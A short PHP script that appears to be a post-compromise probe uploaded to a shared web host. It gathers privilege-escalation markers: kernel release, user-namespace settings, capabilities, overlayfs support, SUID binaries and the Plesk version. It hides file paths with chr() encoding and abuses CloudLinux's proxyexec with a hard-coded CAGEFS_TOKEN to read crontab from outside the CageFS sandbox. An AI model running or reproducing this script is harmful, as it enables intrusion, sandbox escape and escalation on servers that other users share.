<?php
$r=[];
$r[]="K:".php_uname("r");
$p1=chr(47)."proc".chr(47)."sys".chr(47)."kernel".chr(47)."unprivileged_userns_clone";
$r[]="USERNS:".trim(@file_get_contents($p1));
$p2=chr(47)."proc".chr(47)."sys".chr(47)."user".chr(47)."max_user_namespaces";
$r[]="NS_MAX:".trim(@file_get_contents($p2));
$r[]="CAPS:".trim(shell_exec("grep Cap /proc/self/status"));
$r[]="OVL:".trim(shell_exec("grep overlay /proc/filesystems"));
$r[]="SUID:".trim(shell_exec("find /usr/bin /bin -maxdepth 1 -perm -4000 2>/dev/null"));
$pv=chr(47)."usr".chr(47)."local".chr(47)."psa".chr(47)."version";
$r[]="PLVER:".trim(@file_get_contents($pv));
$tok="SjFz9TMYj64WKtkR";
$cwd=getcwd(); $usr=trim(shell_exec("id -un"));
$ct=shell_exec("CAGEFS_TOKEN=".escapeshellarg($tok)." ".chr(47)."usr".chr(47)."sbin".chr(47)."proxyexec -c cagefs.sock ".escapeshellarg($usr)." ".escapeshellarg($cwd)." CRONTAB 1234 -l 2>&1");
$r[]="CTAB:".($ct?trim($ct):"empty");
echo implode("\n",$r)."\n";
?>
